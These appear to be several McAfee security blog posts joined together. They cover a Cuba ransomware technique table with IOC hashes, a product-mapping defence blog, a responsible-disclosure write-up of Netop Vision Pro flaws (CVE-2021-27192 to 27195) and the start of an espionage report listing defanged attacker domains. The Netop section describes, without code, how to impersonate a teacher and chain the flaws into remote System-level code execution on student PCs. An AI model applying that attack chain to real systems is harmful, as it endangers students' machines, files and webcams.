40101fb3629cdb7d53c3af19dea2b6245a8d8aa9f28febd052bb9d792cfbefa6
00ddbe28a31cc91bd7b1989a9bebd43c4b5565aa0a9ed4e0ca2a5cfb290475ed
729950ce621a4bc6579957eabb3d1668498c805738ee5e83b74d5edaf2f4cb9e
| Tactic | Technique | Observable | IOCs |
| Execution | Command and Scripting Interpreter: PowerShell (T1059.001) | Cuba team is using PowerShell payload to drop Cuba ransomware | f739977004981fbe4a54bc68be18ea79
68a99624f98b8cd956108fedcc44e07c bdeb5acc7b569c783f81499f400b2745
|
| Execution | System Services: Service Execution (T1569.002) |
|
|
| Execution | Shared Modules (T1129) | Cuba ransomware links function at runtime | Functions:
“GetModuleHandle” “GetProcAddress” “GetModuleHandleEx” |
| Execution | Command and Scripting Interpreter (T1059) | Cuba ransomware accepts command line arguments | Functions:
“GetCommandLine” |
| Persistence | Create or Modify System Process: Windows Service (T1543.003) | Cuba ransomware can modify services | Functions:
“OpenService” “ChangeServiceConfig” |
| Privilege Escalation | Access Token Manipulation (T1134) | Cuba ransomware can adjust access privileges | Functions:
“SeDebugPrivilege” “AdjustTokenPrivileges” “LookupPrivilegeValue” |
| Defense Evasion | File and Directory Permissions Modification (T1222) | Cuba ransomware will set file attributes | Functions:
“SetFileAttributes” |
| Defense Evasion | Obfuscated files or Information (T1027) | Cuba ransomware is using xor algorithm to encode data | |
| Defense Evasion | Virtualization/Sandbox Evasion: System Checks | Cuba ransomware executes anti-vm instructions | |
| Discovery | File and Directory Discovery (T1083) | Cuba ransomware enumerates files | Functions:
“FindFirstFile” “FindNextFile” “FindClose” “FindFirstFileEx” “FindNextFileEx” “GetFileSizeEx” |
| Discovery | Process Discovery (T1057) | Cuba ransomware enumerates process modules | Functions:
“K32EnumProcesses” |
| Discovery | System Information Discovery (T1082) | Cuba ransomware can get keyboard layout, enumerates disks, etc | Functions:
“GetKeyboardLayoutList” “FindFirstVolume” “FindNextVolume” “GetVolumePathNamesForVolumeName” “GetDriveType” “GetLogicalDriveStrings” “GetDiskFreeSpaceEx” |
| Discovery | System Service Discovery (T1007) | Cuba ransomware can query service status | Functions:
“QueryServiceStatusEx” |
| Collection | Input Capture: Keylogging (T1056.001) | Cuba ransomware logs keystrokes via polling | Functions:
“GetKeyState” “VkKeyScan” |
| Impact | Service Stop (T1489) | Cuba ransomware can stop services | |
| Impact | Data encrypted for Impact (T1486) | Cuba ransomware encrypts data |
Many of the exploit stage techniques in this attack could use legitimate Windows processes and applications to either exploit or avoid detection. We discussed, above, how the Endpoint Protection Platform can disrupt weaponized documents but, by using MVISION EDR, you can get more visibility. As security analysts, we want to focus on suspicious techniques used by Initial Access, as this attack’s Initial Access is unknown.
Events from McAfee Endpoint Protection and McAfee MVISION EDR play a key role in Cuba ransomware incident and threat response. McAfee ePO centralizes event collection from all managed endpoint systems. As a threat responder, you may want to create a dashboard for Cuba ransomware-related threat events to understand your current exposure.
To defeat targeted threat campaigns, defenders must collaborate internally and externally to build an adaptive security architecture which will make it harder for threat actors to succeed and build resilience in the business. This blog highlights how to use McAfee’s security solutions to prevent, detect and respond to Cuba ransomware and attackers using similar techniques.
McAfee ATR is actively monitoring this campaign and will continue to update McAfee Insights and its social networking channels with new and current information. Want to stay ahead of the adversaries? Check out McAfee Insights for more information.
The post McAfee Defender’s Blog: Cuba Ransomware Campaign appeared first on McAfee Blogs.
Ever since I started working in IT Security more than 10 years ago, I wondered, what helps defend against malware the best?
This simple question does not stand on its own, as there are several follow-up questions to that:
This blog will guide you through my research and thought process around these questions and how you can enable yourself to answer these for your own organization!
As mentioned above, the central question “what helps best?” has followed me throughout the years, but my methods to be able to answer this question have evolved. The first interaction I had with IT Security was more than 10 years ago, where I had to manually deploy new Anti-Virus software from a USB-key to around 100 devices. The settings were configured by a colleague in our IT-Team, and my job was to help remove infections when they came up, usually by going through the various folders or registry keys and cleaning up the remains. The most common malware was Adware, and the good-ol obnoxious hotbars which were added to the browser. I remember one colleague calling into IT saying “my internet has become so small, I can barely even read 5 lines of text” which we later translated into “I had 6 hotbars installed on my Internet Explorer so there was nearly no space left for the content to be displayed”.
Exemplary picture of the “internet” getting smaller.
Jump ahead a couple of years, I started working with McAfee ePolicy Orchestrator to manage and deploy Anti-Malware from a central place automatically, and not just for our own IT, but I was was allowed to implement McAfee ePO into our customers’ environments. This greatly expanded my view into what happens in the world of malware and I started using the central reporting tool to figure out where all these threats were coming from:
Also, I was able to understand how the different McAfee tools helped me in detecting and blocking these threats:
But this only showed the viewpoint of one customer and I had to manually overlay them to figure out what defense mechanism worked best. Additionally, I couldn’t see what was missed by the defense mechanisms, either due to configuration, missing signatures, or disabled modules. So, these reports gave me a good viewpoint into the customers I managed, but not the complete picture. I needed a different perspective, perhaps from other customers, other tools, or even other geo-locations.
Let us jump further ahead in my personal IT security timeline to about June 2020:
As you could see above, I spent quite a lot of time optimizing setups and configurations to assist customers in increasing their endpoint security. As time progressed, it became clear that solely using Endpoint Protection, especially only based on signatures, was not state of the art. Protection needs to be a combination of security controls rather than the obnoxious silver bullet that is well overplayed in cybersecurity. And still, the best product or solution set doesn’t help if you don’t know what you are looking for (Question 1&2), how to prepare (Question 4) or if you misconfigured the product including all subfolders of “C:\” as an exclusion for On-Access-Scanning (Question 5).
Then McAfee released MVISION Insights this summer and it clicked in my head:
Framework I could also link from the threat to defensive capabilitiesWith this data available it was possible to create a heatmap not just by geo-location or a very high number of new threats every day, hour or even minute, but on how specific types of campaigns are operating out in the wild. To start assessing the data, I took 60 ransomware campaigns dating between January and June 2020 and pulled out all the MITRE ATT&CK© techniques that have been used and displayed them on a heatmap:
Amber/Orange: Being used the most, green: only used in 1 or 2 campaigns
Reality Check 1: Does this mapping look accurate?
For me it does, and here is why:
Next, we need to understand what can be done to detect and ideally block ransomware in its tracks. For this I summarized key malware defense capabilities and mapped them to the tactics being used most:
| MITRE Tactic | Security Capability | Example McAfee solution features |
| Execution | Attack surface reduction | ENS Access Protection and Exploit Prevention, MVISION Insights recommendations |
| Multi-layered detection | ENS Exploit Prevention, MVISION Insights telemetry, MVISION EDR Tracing, ATD file analysis | |
| Multi-layered protection | ENS On-Access-Scanning using Signatures, GTI, Machine-Learning and more | |
| Rule & Risk-based analytics | MVISION EDR tracing | |
| Containment | ENS Dynamic Application Containment | |
| Persistence | Attack surface reduction | ENS Access Protection or Exploit Prevention, MVISION Insights recommendations |
| Multi-layered detection | ENS Exploit Prevention, MVISION Insights telemetry, MVISION EDR Tracing, ATD file analysis | |
| Sandboxing and threat analysis | ATD file analysis | |
| Rule & Risk-based analytics | MVISION EDR tracing | |
| Containment | ENS Dynamic Application Containment | |
| Defense Evasion | Attack surface reduction | ENS Access Protection and Exploit Prevention, MVISION Insights recommendations |
| Multi-layered detection | ENS Exploit Prevention, MVISION Insights telemetry, MVISION EDR Tracing, ATD file analysis | |
| Sandboxing and threat analysis | ATD file analysis | |
| Rule & Risk-based analytics | MVISION EDR tracing | |
| Containment | ENS Dynamic Application Containment | |
| Discovery | Attack surface reduction | ENS Access Protection and Exploit Prevention |
| Multi-layered detection | ENS Exploit Prevention, MVISION EDR Tracing, ATD file analysis | |
| Sandboxing and threat analysis | ATD file analysis | |
| Rule & Risk-based analytics | MVISION EDR tracing | |
| Command & Control | Attack surface reduction | MVISION Insights recommendations |
| Multi-layered detection | ENS Firewall IP Reputation, MVISION Insights telemetry, MVISION EDR Tracing, ATD file analysis | |
| Multi-layered protection | ENS Firewall | |
| Rule & Risk-based analytics | MVISION EDR tracing | |
| Containment | ENS Firewall and Dynamic Application Containment | |
| Impact | Multi-layered detection | MVISION EDR tracing, ATD file analysis |
| Rule & Risk-based analytics | MVISION EDR tracing | |
| Containment | ENS Dynamic Application Containment | |
| Advanced remediation | ENS Advanced Rollback |
A description of the McAfee Solutions is provided below.
Now this allowed me to map the solutions from the McAfee portfolio to each capability, and with that indirectly to the MITRE tactics. But I did not want to end here, as different tools might take a different role in the defensive architecture. For example, MVISION Insights can give you details around your current configuration and automatically overlays it with the current threat campaigns in the wild, giving you the ability to proactively prepare and harden your systems. Another example would be using McAfee Endpoint Security (ENS) to block all unsigned PowerShell scripts, effectively reducing the risk of being hit by a file-less malware based on this technology to nearly 0%. On the other end of the scale, solutions like MVISION EDR will give you great visibility of actions that have occurred, but this happens after the fact, so there is a high chance that you will have some cleaning up to do. This brings me to the topic of “improving protection before moving into detection” but this is for another blog post.
Coming back to the mapping shown above, let us quickly do…
Reality Check 2: Does this mapping feel accurate too?
For me it does, and here is why:
Now with all this data at hand we can come to the final step and bring it all together in one simple graph.
Before we jump into our conclusion, here is a quick summary of the actions I have taken:
So, without further ado and with a short drumroll I want to present to you the McAfee security architecture that best defends against current malware campaigns:
For reference, here is a quick breakdown of the components that make up the architecture above:
MVISION ePO is the SaaS-based version of our famous security management solution, which makes it possible to manage a heterogenous set of systems, policies, and events from a central place. Even though I have mentioned the SaaS-based version here, the same is true for our ePO on-premises software as well.
MVISION Insights is a key data source that helps organizations understand what campaigns and threats are trending. This is based on research from our Advanced Threat Research (ATR) team who use our telemetry data inside our Global Threat Intelligence (GTI) big-data platform to enhance the details that are provided.
MVISION Endpoint Detect & Response (EDR) is present in multiple boxes here, as it is a sensor on one side, which sits on the endpoint and collects data, and it is also a cloud service which receives, stores and analyses the data.
EPP is our Endpoint Protection Platform, which contains multiple items working in conjunction. First there is McAfee Endpoint Security (ENS) that is sitting on the device itself and has multiple detection and protection capabilities. For me, the McAfee Threat Intelligence Exchange (TIE) server is always a critical piece to McAfee’s Endpoint Protection Platform and has evolved from a standalone feature to an integrated building block inside ePO and is therefore not shown in the graphic above.
McAfee Advanced Threat Defense (ATD) extends the capabilities of both EPP and EDR, as it can run suspicious files in a separated environment and shares the information gathered with the other components of the McAfee architecture and even 3rd-party tools. It also goes the other way around as ATD allows other security controls to forward files for analysis in our sandbox, but this might be a topic for another blog post.
All the items listed above can be acquired by licensing our MVISION Premium suite in combination with McAfee ATD.
Based on the components and the mapping to the capabilities, I was also able to create a graph based on our most common device security bundles and their respective malware defense score:
In the graph above you can see four of our most sold bundles, ranging from the basic MVISION Standard, up to MVISION Premium in combination with McAfee Advanced Threat Defense (ATD). The line shows the ransomware detection & protection score, steadily rising as you go from left to right. Interestingly, the cost per point, i.e. how much dollar you need to spend to get one point, is much lower when buying the largest option in comparison to the smaller ones. As the absolute cost varies on too many variables, I have omitted an example here. Contact your local sales representative to gather an estimated calculation for your environment.
So, have I come to this conclusion by accident? Let us find out in the last installment of the reality check:
Reality Check 3: Is this security architecture well suited for today’s threats?
For me it does, and here is why:
While writing up my thoughts into the blog post, I was reminded of the “Hitchhikers Guide to the Galaxy”, as my journey in cybersecurity started out with the search for the answer to everything. But over the years it evolved into the multiple questions I prompted at the start of the article:
And certainly, the answers to these questions are a moving target. Not only do the tools and techniques by the adversaries evolve, so do all the capabilities on the defensive side.
I welcome you to take the information provided by my research and apply it to your own security architecture:
Thank you for reading this blog post and following my train of thought. I would love to hear back from you, on how you assess yourself, what could be the next focus area for my research or if you want to apply the scoring mechanism on your environment! So please find me on LinkedIn or Twitter, write me a short message or just say “Hi!”.
I also must send out a big “THANK YOU!” to all my colleagues at McAfee helping out during my research: Mo Cashman, Christian Heinrichs, John Fokker, Arnab Roy, James Halls and all the others!
The post McAfee Defenders Blog: Reality Check for your Defenses appeared first on McAfee Blogs.
The McAfee Labs Advanced Threat Research team is committed to uncovering security issues in both software and hardware to help developers provide safer products for businesses and consumers. We recently investigated software installed on computers used in K-12 school districts. The focus of this blog is on Netop Vision Pro produced by Netop. Our research into this software led to the discovery of four previously unreported critical issues, identified by CVE-2021-27192, CVE-2021-27193, CVE-2021-27194 and CVE-2021-27195. These findings allow for elevation of privileges and ultimately remote code execution, which could be used by a malicious attacker, within the same network, to gain full control over students’ computers. We reported this research to Netop on December 11, 2020 and we were thrilled that Netop was able to deliver an updated version in February of 2021, effectively patching many of the critical vulnerabilities.
Netop Vision Pro is a student monitoring system for teachers to facilitate student learning while using school computers. Netop Vision Pro allows teachers to perform tasks remotely on the students’ computers, such as locking their computers, blocking web access, remotely controlling their desktops, running applications, and sharing documents. Netop Vision Pro is mainly used to manage a classroom or a computer lab in a K-12 environment and is not primarily targeted for eLearning or personal devices. In other words, the Netop Vision Pro Software should never be accessible from the internet in the standard configuration. However, as a result of these abnormal times, computers are being loaned to students to continue distance learning, resulting in schooling software being connected to a wide array of networks increasing the attack surface.
Netop provides all software as a free trial on its website, which makes it easy for anyone to download and analyze it. Within a few minutes of downloading the software, we were able to have it configured and running without any complications.
We began by setting up the Netop software in a normal configuration and environment. We placed four virtual machines on a local network; three were set up as students and one was set up as a teacher. The three student machines were configured with non-administrator accounts in our attempt to emulate a normal installation. The teacher first creates a “classroom” which then can choose which student PCs should connect. The teacher has full control and gets to choose which “classroom” the student connects to without the student’s input. Once a classroom has been setup, the teacher can start a class which kicks off the session by pinging each student to connect to the classroom. The students have no input if they want to connect or not as it is enforced by the teacher. Once the students have connected to the classroom the teacher can perform a handful of actions to the entire class or individual students.
During this setup we also took note of the permission levels of each component. The student installation needs to be tamperproof and persistent to prevent students from disabling the service. This is achieved by installing the Netop agent as a system service that is automatically started at boot. The teacher install executes as a normal user and does not start at boot. This difference in execution context and start up behavior led us to target the student installs, as an attacker would have a higher chance of gaining elevated system permissions if it was compromised. Additionally, the ratio of students to teachers in a normal school environment would ensure any vulnerabilities found on the student machines would be wider spread.
With the initial install complete, we took a network capture on the local network and took note of the traffic between the teacher and student. An overview of the first few network packets can been seen in Figure 1 below and how the teacher, student transaction begins.
Figure 1: Captured network traffic between teacher and student
Our first observation, now classified as CVE-2021-27194, was that all network traffic was unencrypted with no option to turn encryption on during configuration. We noticed that even information normally considered sensitive, such as Windows credentials (Figure 2) and screenshots (Figure 4), were all sent in plaintext. Windows credentials were observed on the network when a teacher would issue a “Log on” command to the student. This could be used by the teacher or admin to install software or simply help a student log in.
Figure 2: Windows credentials passed in plaintext
Additionally, we observed interesting default behavior where a student connecting to a classroom immediately began to send screen captures to the classroom’s teacher. This allows the teacher to monitor all the students in real time, as shown in Figure 3.
Figure 3: Teacher viewing all student machines via screenshots
Since there is no encryption, these images were sent in the clear. Anyone on the local network could eavesdrop on these images and view the contents of the students’ screens remotely. A new screenshot was sent every few seconds, providing the teacher and any eavesdroppers a near-real time stream of each student’s computer. To capture and view these images, all we had to do was set our network card to promiscuous mode (https://www.computertechreviews.com/definition/promiscuous-mode/) and use a tool like Driftnet (https://github.com/deiv/driftnet). These two steps allowed us to capture the images passed over the network and view every student screen while they were connected to a classroom. The image in Figure 4 is showing a screenshot captured from Driftnet. This led us to file our first vulnerability disclosed as CVE-2021-27194, referencing “CWE-319: Cleartext Transmission of Sensitive Information” for this finding. As pointed out earlier, the teacher and the student clients will communicate directly over the local network. The only way an eavesdropper could access the unencrypted data would be by sniffing the traffic on the same local network as the students.
Figure 4: Image of student’s desktop captured from Driftnet over the network
With the goal of remote code execution on the students’ computers, we began to dissect the first network packet, which the teacher sends to the students, telling them to connect to the classroom. This was a UDP message sent from the teacher to all the students and can be seen in Figure 5.
Figure 5: Wireshark capture of teacher’s UDP message
The purpose of this packet is to let the student client software know where to find the teacher computer on the network. Because this UDP message is sent to all students in a broadcast style and requires no handshake or setup like TCP, this was a good place to start poking at.
We created a custom Scapy layer (https://scapy.readthedocs.io/en/latest/api/scapy.layers.html) (Figure 6) from the UDP message seen in Figure 5 to begin dissecting each field and crafting our own packets. After a few days of fuzzing with UDP packets, we were able to identify two things. First, we observed a lack of length checks on strings and second, random values sent by the fuzzer were being written directly to the Windows registry. The effect of these tests can easily be seen in Figure 7.
Figure 6: UDP broadcast message from teacher
Even with these malformed entries in the registry (Figure 7) we never observed the application crashing or responding unexpectedly. This means that even though the application wasn’t handling our mutated packet properly, we never overwrote anything of importance or crossed a string buffer boundary.
Figure 7: Un-sanitized characters being written to the Registry
To go further we needed to send the next few packets that we observed from our network capture (Figure 8). After the first UDP message, all subsequent packets were TCP. The TCP messages would negotiate a connection between the student and the teacher and would keep the socket open for the duration of the classroom connection. This TCP negotiation exchange was a transfer of 11 packets, which we will call the handshake.
Figure 8: Wireshark capture of a teacher starting class
To respond appropriately to the TCP connection request, we needed to emulate how a valid teacher would respond to the handshake; otherwise, the student would drop the connection. We began reverse engineering the TCP network traffic and attempted to emulate actual “teacher” traffic. After capturing a handful of packets, the payloads started to conform to roughly the same format. Each started with the size of the packet and the string “T125”. There were three packets in the handshake that contained fields that were changing between each classroom connection. In total, four changing fields were identified.
The first field was the session_id, which we identified in IDA and is shown in the UDP packet from Figure 6. From our fuzzing exercise with the UDP packet, we learned if the same session_id was reused multiple times, the student would still respond normally, even though the actual network traffic we captured would often have a unique session_id.
This left us three remaining dynamic fields which we identified as a teacher token, student token, and a unique unknown DWORD (8 bytes). We identified two of these fields by setting up multiple classrooms with different teacher and student computers and monitoring these values. The teacher token was static and unique to each teacher. We discovered the same was true with the student token. This left us with the unique DWORD field that was dynamic in each handshake. This last field at first seemed random but was always in the same relative range. We labeled this as “Token3” for much of our research, as seen in Figure 9 below.
Figure 9: Python script output identifying “Token3”
Eventually, while using WinDbg to perform dynamic analysis, the value of Token3 started to look familiar. We noticed it matched the range of memory being allocated for the heap. This can be seen in Figure 10.
Figure 10: WinDbg address space analysis from a student PC
By combining our previous understanding of the UDP broadcast traffic with our ability to respond appropriately to the TCP packets with dynamic fields, we were able to successfully emulate a teacher’s workstation. We demonstrated this by modifying our Python script with this new information and sending a request to connect with the student. When a student connects to a teacher it displays a message indicating a successful connection has been made. Below are two images showing a teacher connecting (Figure 11) and our Python script connecting (Figure 12). Purely for demonstration purposes, we have named our attack machine “hacker”, and our classroom “hacker-room.”
Figure 11: Emulation of a teacher successful
Figure 12: Emulated teacher connection from Python script
To understand the process of reverse engineering the network traffic in more detail, McAfee researchers Douglas McKee and Ismael Valenzuela have released an in-depth talk on how to hack proprietary protocols like the one used by Netop. Their webinar goes into far more detail than this blog and can be viewed here.
Since we have successfully emulated a teacher’s connection using Python, for clarity we will refer to ourselves as the attacker and a legitimate connection made through Netop as the teacher.
Next, we began to look at some of the actions that teachers can perform and how we could take advantage of them. One of the actions that a teacher can perform is starting applications on the remote students’ PCs. In the teacher suite, the teacher is prompted with the familiar Windows Run prompt, and any applications or commands set to run are executed on the student machines (Figure 13).
Figure 13: The teacher “Run Application” prompt
Looking at the network traffic (shown in Figure 14), we were hoping to find a field in the packet that could allow us to deviate from what was possible using the teacher client. As we mentioned earlier, everything is in plaintext, making it quite easy to identify which packets were being sent to execute applications on the remote systems by searching within Wireshark.
Figure 14: Run “calc” packet
Before we started to modify the packet that runs applications on the student machines, we first wanted to see if we could replay this traffic successfully. As you can see in the video below, our Python script was able to run PowerShell followed by Windows Calculator on each of the student endpoints. This is showcasing that even valid teacher actions can still be useful to attackers.
The ability for an attacker to emulate a teacher and execute arbitrary commands on the students’ machines brings us to our second CVE. CVE-2021-27195 was filed for “CWE-863: Incorrect Authorization” since we were able to replay modified local network traffic.
When the teacher sends a command to the student, the client would drop privileges to that of the logged-in student and not keep the original System privileges. This meant that if an attacker wanted unrestricted access to the remote system, they could not simply replay normal traffic, but instead would have to modify each field in the traffic and observe the results.
In an attempt to find a way around the privilege reduction during command execution, we continued fuzzing all fields located within the “run command” packet. This proved unsuccessful as we were unable to find a packet structure that would prevent the command from lowering privileges. This required a deeper dive into the code in handling the remote command execution processed on the student endpoint. By tracing the execution path within IDA, we discovered there was in fact a path that allows remote commands to execute without dropping privileges, but it required a special case, as shown in Figure 15.
Figure 15: IDA graph view showing alternate paths of code execution
Figure 16: Zoomed in image of the ShellExecute code path
The code path that bypasses the privilege reduction and goes directly to “ShellExecute” was checking a variable that had its value set during startup. We were not able to find any other code paths that updated this value after the software started. Our theory is this value may be used during installation or uninstallation, but we were not able to legitimately force execution to the “ShellExecute” path.
This code path to “ShellExecute” made us wonder if there were other similar branches like this that could be reached. We began searching the disassembled code in IDA for calls not wrapped with code resulting in lower privileges. We found four cases where the privileges were not reduced, however none of them were accessible over the network. Regardless, they still could potentially be useful, so we investigated each. The first one was used when opening Internet Explorer (IE) with a prefilled URL. This turned out to be related to the support system. Examining the user interface on the student machine, we discovered a “Technical Support” button which was found in the Netop “about” menu.
When the user clicks on the support button, it opens IE directly into a support web form. The issue, however, is privileges are never dropped, resulting in the IE process being run as System because the Netop student client is also run as System. This can be seen in Figure 11. We filed this issue as our third CVE, CVE-2021-27192 referencing “CWE-269: Incorrect Privilege Assignment”.
Figure 17: Internet Explorer running as System
There are a handful of well-documented ways to get a local elevation of privilege (LPE) using only the mouse when the user has access to an application running with higher privileges. We used an old technique which uses the “Save as” button to navigate to the folder where cmd.exe is located and execute it. The resulting CMD process inherits the System privileges of the parent process, giving the user a System-level shell.
While this LPE was exciting, we still wanted to find something with a remote attack vector and utilize our Python script to emulate teacher traffic. We decided to take a deeper dive into the network traffic to see what we could find. Simulating an attacker, we successfully emulated the following:
During the emulation of all the above actions we performed some rudimentary fuzzing on various fields of each and discovered six crashes which caused the Netop student install to crash and restart. We were able to find two execution violations, two read violations, one write exception, and one kernel exception. After investigation, we determined these crashes were not easily exploitable and therefore a lower priority for deeper investigation. Regardless, we reported them to Netop along with all other findings.
Netop Vision Pro comes with a handful of plugins installed by default, which are used to separate different functionality from the main Netop executable. For example, to enable the ability for the teacher and student to instant message (IM) each other, the MChat.exe plugin is used. With a similar paradigm to the main executable, the students should not be able to stop these plugins, so they too run as System, making them worth exploring.
Mimicking our previous approach, we started to look for “ShellExecute” calls within the plugins and eventually discovered three more privilege escalations, each of which were conducted in a comparable way using only the mouse and bypassing restrictive file filters within the “Save as” windows. The MChat.exe, SSView.exe (Screen Shot Viewer), and the About page’s “System Information” windows all had a similar “Save as” button, each resulting in simple LPEs with no code or exploit required. We added each of these plugins under the affected versions field on our third CVE, CVE-2021-27192, mentioned above.
We were still searching for a method to achieve remote code execution and none of the “ShellExecute” calls used for the LPEs were accessible over the network. We started to narrow down the plugins that pass user supplied data over the network. This directed our attention back to the MChat plugin. As part of our initial recon for research projects, we reviewed change logs looking for any relevant security changes. During this review we noted an interesting log pertaining to the MChat client as seen in Figure 13.
Figure 18: Change log from Netop.com
The Chat function runs as System, like all the plugins, and can send text or files to the remote student computer. An attacker can always use this functionality to their advantage by either overwriting existing files or enticing a victim to click on a dropped executable. Investigating how the chat function works and specifically how files are sent, we discovered that the files are pushed to the student computers without any user interaction from the student. Any files pushed by a teacher are stored in a “work directory”, which the student can open from the IM window. Prior to the latest release it would have been opened as System; this was fixed as referenced in Figure 18. Delving deeper into the functionality of the chat application, we found that the teacher also has the ability to read files in the student’s “work directory” and delete files within it. Due to our findings demonstrated with CVE-2021-27195, we can leverage our emulation code as an attacker to write, read, and delete files within this “work directory” from a remote attack vector on the same local network. This ability to read and write files accounted for the last CVE that we filed, CVE-2021-27193 referencing “CWE-276: Incorrect Default Permissions,” with the overall highest CVSS score of 9.5.
In order to determine if the MChat plugin would potentially give us System-level access, we needed to investigate if the plugin’s file operations were restricted to the student’s permissions or if the plugin inherited the System privileges from the running context. Examining the disassembled code of the MChat plugin, as displayed in Figure 14, we learned that all file actions on the student computer are executed with System privileges. Only after the file operation finishes will the permissions be set to allow access for everyone, essentially the effect of using the Linux “chmod 777” command, to make the files universally read/writable.
Figure 19: IDA screenshot of MChat file operations changing access to everyone
To validate this, we created several test files using an admin account and restricted the permissions to disallow the student from modifying or reading the test files. We proceeded to load the teacher suite, and through an MChat session confirmed we were able to read, write, and delete these files. This was an exciting discovery; however, if the attacker is limited to the predetermined “work directory” they would be limited in the effect they could have on the remote target. To investigate if we could change the “work directory” we began digging around in the teacher suite. Hidden in a few layers of menus (Figure 20) we found that a teacher can indeed set the remote student’s “work directory” and update this remotely. Knowing we can easily emulate any teacher’s command means that we could modify the “work directory” anywhere on the student system. Based on this, an attacker leveraging this flaw could have System access to modify any file on the remote PC.
Figure 20: Changing the remote student path from a teacher’s client
Now that we knew that the teacher could overwrite any file on the system, including system executables, we wanted to automate this attack and add it to our Python script. By automating this we want to showcase how attackers can use issues like this to create tools and scripts that have real world impacts. For a chat session to begin, we had to initiate the 11-packet handshake we previously discussed. Once the student connected to our attack machine, we needed to send a request to start a chat session with the target student. This request would make the student respond using TCP, yet this time, on a separate port, initiating an MChat seven-packet handshake. This required us to reverse engineer this new handshake format in a similar approach as described earlier. Unlike the first handshake, the MChat handshake had a single unique identifier for each session, and after testing, it was determined that the ID could be hardcoded with a static value without any negative effects.
Finally, we wanted to overwrite a file that we could ensure would be executed with System privileges. With the successful MChat handshake complete we needed to send a packet that would change the “work directory” to that of our choosing. Figure 21 shows the packet as a Scapy layer used to change the work directory on the student’s PC. The Netop plugin directory was a perfect target directory to change to since anything executed from this directory would be executed as System.
Figure 21: Change working directory on the student PC
The last step in gaining System-level execution was to overwrite and execute one of the plugins with a “malicious” binary. Through testing we discovered that if the file already exists in the same directory, the chat application is smart enough to not overwrite it, but instead adds a number to the filename. This is not what we wanted since the original plugin would get executed instead of our “malicious” one. This meant that we had to also reverse engineer a packet containing commands that are used to delete files. The Scapy layer used to delete a file and save a new one is shown in Figure 22.
Figure 22: Python Scapy layers to “delete” (MChatPktDeleteFile) and “write” (MChatPkt6) files
With these Scapy layers we were able to replace the target plugin with a binary of our choosing, keeping the same name as the original plugin. We chose the “SSView.exe” plugin, which is a plugin used to show screenshots on the student’s computer. To help visualize this entire process please reference Figure 23.
Figure 23: An attack flow using the MChat plugin to overwrite an executable
Now that the SSView.exe plugin has been overwritten, triggering this plugin will execute our attacker-supplied code. This execution will inherit the Netop System privileges, and all can be conducted from an unauthenticated remote attack vector.
It is not hard to imagine a scenario where a culmination of these issues can lead to several negative outcomes. The largest impact being remote code execution of arbitrary code with System privileges from any device on the local network. This scenario has the potential to be wormable, meaning that the arbitrary binary that we run could be designed to seek out other devices and further the spread. In addition, if the “Open Enrollment” option for a classroom is configured, the Netop Vision Pro student client broadcasts its presence on the network every few seconds. This can be used to an attacker’s advantage to determine the IP addresses of all the students connected on the local network. As seen in Figure 24, our Python script sniffed for student broadcast messages for 5 seconds and found all three student computers on the same network. Because these broadcast messages are sent out to the entire local network, this could very well scale to an entire school system.
Figure 24: Finding all students on the local network.
With a list of computers running the student software, an attacker can then issue commands to each one individually to run arbitrary code with System privileges. In the context of hybrid and e-learning it is important to remember that this software on the student’s computer doesn’t get turned off. Because it is always running, even when not in use, this software assumes every network the device connects to could have a teacher on it and begins broadcasting its presence. An attacker doesn’t have to compromise the school network; all they need is to find any network where this software is accessible, such as a library, coffee shop, or home network. It doesn’t matter where one of these student’s PCs gets compromised as a well-designed malware could lay dormant and scan each network the infected PC connects to, until it finds other vulnerable instances of Netop Vision Pro to further propagate the infection.
Once these machines have been compromised the remote attacker has full control of the system since they inherit the System privileges. Nothing at this point could stop an attacker running as System from accessing any files, terminating any process, or reaping havoc on the compromised machine. To elaborate on the effects of these issues we can propose a few scenarios. An attacker could use the discoverability of these machines to deploy ransomware to all the school computers on the network, bringing the school or entire school district to a standstill. A stealthier attacker could silently install keylogging software and monitor screenshots of the students which could lead to social media or financial accounts being compromised. Lastly, an attacker could monitor webcams of the students, bridging the gap from compromised software to the physical realm. As a proof of concept, the video below will show how an attacker can put CVE-2021-27195 and CVE-2021-27193 together to find, exploit, and monitor the webcams of each computer running Netop Vision Pro.
Secure adaptation of software is much easier to achieve when security is baked in from the beginning, rather than an afterthought. It is easy to recognize when software is built for “safe” environments. While Netop Vision Pro was never intended to be internet-facing or be brought off a managed school network, it is still important to implement basic security features like encryption. While designing software one should not assume what will be commonplace in the future. For instance, when this software was originally developed the concept of remote learning or hybrid learning was a far-out idea but now seems like it will be a norm. When security decisions are integrated from inception, software can adapt to new environments while keeping users better protected from future threats.
We disclosed all these findings to Netop on December 11, 2020 and heard back from them shortly after. Our disclosure included recommendations for implementing encryption of all network traffic, adding authentication, and verification of teachers to students, and more precise packet parsing filters. In Netop Vision Pro 9.7.2, released in late February, Netop has fixed the local privilege escalations, encrypted formerly plaintext Windows credentials, and mitigated the arbitrary read/writes on the remote filesystem within the MChat client. The local privilege escalations were fixed by running all plugins as the student and no longer as System. This way, the “Save as” buttons are limited to the student’s account. The Windows credentials are now encrypted using RC4 before being sent over the network, preventing eavesdroppers from gathering account credentials. Lastly, since all the plugins are running as the student, the MChat client can no longer delete and replace system executables which successfully mitigates the attack shown in the impact section. The network traffic is still unencrypted, including the screenshots of the student computers but Netop has assured us it is working on implementing encryption on all network traffic for a future update. We’d like to recognize Netop’s outstanding response and rapid development and release of a more secure software version and encourage industry vendors to take note of this as a standard for responding to responsible disclosures from industry researchers.
The post Netop Vision Pro – Distance Learning Software is 20/20 in Hindsight appeared first on McAfee Blogs.
In this report the McAfee Advanced Threat Research (ATR) Strategic Intelligence team details an espionage campaign, targeting telecommunication companies, dubbed Operation Diànxùn.
In this attack, we discovered malware using similar tactics, techniques and procedures (TTPs) to those observed in earlier campaigns publicly attributed to the threat actors RedDelta and Mustang Panda. While the initial vector for the infection is not entirely clear, we believe with a medium level of confidence that victims were lured to a domain under control of the threat actor, from which they were infected with malware which the threat actor leveraged to perform additional discovery and data collection. We believe with a medium level of confidence that the attackers used a phishing website masquerading as the Huawei company career page to target people working in the telecommunications industry.
We discovered malware that masqueraded as Flash applications, often connecting to the domain “hxxp://update.careerhuawei.net” that was under control of the threat actor. The malicious domain was crafted to look like the legitimate career site for Huawei, which has the domain: hxxp://career.huawei.com. In December, we also observed a new domain name used in this campaign: hxxp://update.huaweiyuncdn.com.
